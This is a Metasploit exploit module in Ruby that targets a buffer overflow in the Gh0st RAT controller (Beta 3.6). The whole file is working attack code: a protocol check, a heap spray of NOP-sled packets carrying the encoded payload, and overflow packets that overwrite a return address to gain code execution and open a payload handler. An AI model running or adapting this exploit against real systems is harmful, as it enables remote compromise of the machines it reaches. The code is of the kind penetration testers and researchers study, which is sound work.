##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gh0st Client buffer Overflow',
      'Description'    => %q{
          This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
      },
      'Author'         => 'Professor Plum',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => '',
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
        },
      'Platform'       => 'win',
      'DisclosureDate' => '2017-07-27',
      'Targets'        =>
        [
          ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
        ],
      'Privileged'     => false,
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
        Opt::RPORT(80)
      ]
    )
  end

  def make_packet(id, data)
    msg = id.chr + data
    compressed = Zlib::Deflate.deflate(msg)
    datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
  end

  def validate_response(data)
    if data.nil?
      print_status('Server closed connection')
      return false
    end
    if data.empty?
      print_status('No response received')
      return false
    end
    if data.size < 13
      print_status('Invalid packet')
      print_status(data)
      return false
    end
    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
    if mag.index(datastore['MAGIC']) != 0
      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
      return false
    end
    if pktlen != data.size
      print_status('Packet size mismatch')
      return false
    end
    msg = Zlib::Inflate.inflate(data[13..data.size])
    if msg.size != msglen
      print_status('Packet decompress failure')
      return false
    end
    return true
  end

  def check
    connect
    sock.put(make_packet(101, "\x00")) # heartbeat
    if validate_response(sock.get_once || '')
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Trying target #{target.name}")
    print_status('Spraying heap...')
    for i in 0..100
      connect
      sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
      if not validate_response(sock.get_once)
        disconnect
        return
      end
    end

    for i in 103..107
      print_status("Trying command #{i}...")
      begin
        connect
        sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
        sock.put(sploit)
        if validate_response(sock.get_once)
          next
        end
        sleep(0.1)
        break
      rescue EOFError
        print_status('Invalid')
      end
    end
    handler
    disconnect
  end
end
